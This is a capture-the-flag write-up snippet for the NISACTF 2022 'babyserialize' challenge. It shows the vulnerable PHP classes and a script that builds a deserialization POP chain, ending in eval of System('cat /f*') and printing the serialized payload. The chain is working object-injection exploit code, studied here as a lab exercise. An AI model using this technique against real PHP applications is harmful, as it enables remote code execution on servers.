[NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;   //1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;    //5 Ilovetxw()
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;  //4 four()
    public $su; //2 NISA()

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";   //3 Ilovetxw()
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
$a=new NISA();
$a->txw4ever="System('cat /f*');";
$a->fun="shuibian";

$b=new Ilovetxw();
$b->su=$a;

$c=new four();
$c->a=$b;

$b->huang=$c;

$d=new TianXiWei();
$d->ext=$b;
echo urlencode(serialize($d));

?>

详细解释：

[NISACTF 2022]babyserialize（pop链构造与脚本编写详细教学）-CSDN博客